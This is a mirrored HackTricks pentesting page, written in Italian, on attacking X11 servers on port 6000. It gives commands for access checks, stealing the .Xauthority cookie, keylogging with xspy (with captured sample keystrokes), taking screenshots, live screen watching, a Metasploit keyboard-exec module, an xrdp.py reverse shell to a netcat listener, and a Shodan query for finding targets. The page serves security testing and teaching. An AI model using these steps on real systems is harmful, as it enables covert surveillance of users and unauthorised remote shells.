mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
134 lines
4.7 KiB
Markdown
134 lines
4.7 KiB
Markdown
# 6000 - Pentesting X11
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Informazioni di base
|
||
|
||
**X Window System** (X) è un sistema di finestre versatile prevalente nei sistemi operativi basati su UNIX. Fornisce un framework per la creazione di **interfacce utente grafiche (GUI)**, con singoli programmi che gestiscono il design dell'interfaccia utente. Questa flessibilità consente esperienze diverse e personalizzabili all'interno dell'ambiente X.
|
||
|
||
**Porta predefinita:** 6000
|
||
```
|
||
PORT STATE SERVICE
|
||
6000/tcp open X11
|
||
```
|
||
## Enumerazione
|
||
|
||
Controlla per **connessione anonima:**
|
||
```bash
|
||
nmap -sV --script x11-access -p <PORT> <IP>
|
||
msf> use auxiliary/scanner/x11/open_x11
|
||
```
|
||
#### Enumerazione Locale
|
||
|
||
Il file **`.Xauthority`** nella cartella home dell'utente è **utilizzato** da **X11 per l'autorizzazione**. Da [**qui**](https://stackoverflow.com/a/37367518):
|
||
```bash
|
||
$ xxd ~/.Xauthority
|
||
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
|
||
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
|
||
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
|
||
00000030: 041d ef ...
|
||
```
|
||
> MIT-magic-cookie-1: Generazione di 128 bit di chiave (“cookie”), memorizzandolo in \~/.Xauthority (o dove punta la variabile d'ambiente XAUTHORITY). Il client lo invia al server in chiaro! Il server verifica se ha una copia di questo “cookie” e, in tal caso, la connessione è consentita. La chiave è generata da DMX.
|
||
|
||
> [!WARNING]
|
||
> Per **utilizzare il cookie** è necessario impostare la variabile d'ambiente: **`export XAUTHORITY=/path/to/.Xauthority`**
|
||
|
||
#### Sessione di Enumerazione Locale
|
||
```bash
|
||
$ w
|
||
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
|
||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
|
||
```
|
||
Nell'esempio, `localhost:0` stava eseguendo xfce4-session.
|
||
|
||
## Verifica Connessione
|
||
```bash
|
||
xdpyinfo -display <ip>:<display>
|
||
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
|
||
```
|
||
## Keyloggin
|
||
|
||
[xspy](http://tools.kali.org/sniffingspoofing/xspy) per sniffare i tasti della tastiera.
|
||
|
||
Sample Output:
|
||
```
|
||
xspy 10.9.xx.xx
|
||
|
||
opened 10.9.xx.xx:0 for snoopng
|
||
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
|
||
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
|
||
```
|
||
## Cattura di screenshot
|
||
```bash
|
||
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
|
||
convert screenshot.xwd screenshot.png
|
||
```
|
||
## Visualizzazione Desktop Remoto
|
||
|
||
Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||
```
|
||
./xrdp.py <IP:0>
|
||
```
|
||
Prima dobbiamo trovare l'ID della finestra utilizzando xwininfo
|
||
```
|
||
xwininfo -root -display 10.9.xx.xx:0
|
||
|
||
xwininfo: Window id: 0x45 (the root window) (has no name)
|
||
|
||
Absolute upper-left X: 0
|
||
Absolute upper-left Y: 0
|
||
Relative upper-left X: 0
|
||
Relative upper-left Y: 0
|
||
Width: 1024
|
||
Height: 768
|
||
Depth: 16
|
||
Visual: 0x21
|
||
Visual Class: TrueColor
|
||
Border width: 0
|
||
Class: InputOutput
|
||
Colormap: 0x20 (installed)
|
||
Bit Gravity State: ForgetGravity
|
||
Window Gravity State: NorthWestGravity
|
||
Backing Store State: NotUseful
|
||
Save Under State: no
|
||
Map State: IsViewable
|
||
Override Redirect State: no
|
||
Corners: +0+0 -0+0 -0-0 +0-0
|
||
-geometry 1024x768+0+0
|
||
```
|
||
**XWatchwin**
|
||
|
||
Per **visualizzazione dal vivo** dobbiamo usare
|
||
```bash
|
||
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
|
||
./xwatchwin 10.9.xx.xx:0 -w 0x45
|
||
```
|
||
## Ottieni Shell
|
||
```
|
||
msf> use exploit/unix/x11/x11_keyboard_exec
|
||
```
|
||
**Reverse Shell:** Xrdp consente anche di ottenere una reverse shell tramite Netcat. Digita il seguente comando:
|
||
```bash
|
||
./xrdp.py \<IP:0> –no-disp
|
||
```
|
||
Nell'interfaccia puoi vedere l'opzione **R-shell**.
|
||
|
||
Poi, avvia un **listener Netcat** nel tuo sistema locale sulla porta 5555.
|
||
```bash
|
||
nc -lvp 5555
|
||
```
|
||
Quindi, inserisci il tuo indirizzo IP e la porta nell'opzione **R-Shell** e fai clic su **R-shell** per ottenere una shell
|
||
|
||
## Riferimenti
|
||
|
||
- [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||
- [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||
- [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||
|
||
## Shodan
|
||
|
||
- `port:6000 x11`
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|